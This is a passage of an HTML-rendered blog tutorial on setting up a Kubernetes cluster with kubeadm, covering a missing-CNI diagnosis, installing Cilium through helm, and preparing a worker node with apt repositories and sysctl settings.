style=\"color:#96D0FF\"\u003e 20:53:15.951350\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:20.952148\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 19727\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet.go:2347]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Container runtime network not ready\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e networkReady=\"NetworkReady=false reason:NetworkPluginNotReady message:Network plugin returns error: cni plugin not initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI. The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful. In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e False\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:37\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:43:07\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KubeletNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e container\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ready:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NetworkReady=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e message:Network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e returns\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cni\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e initialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get our CNI installed, we will be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I will walk you through it anyways. I do recommend checking out their documentation so you\nare familiar with it. We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-transport-https\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can install cilium! It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are installing. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e search\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -l\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \tCHART\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tAPP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-system\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --version\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.11.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 24m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e. I am not going to talk about the commands a second time but\nI will re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 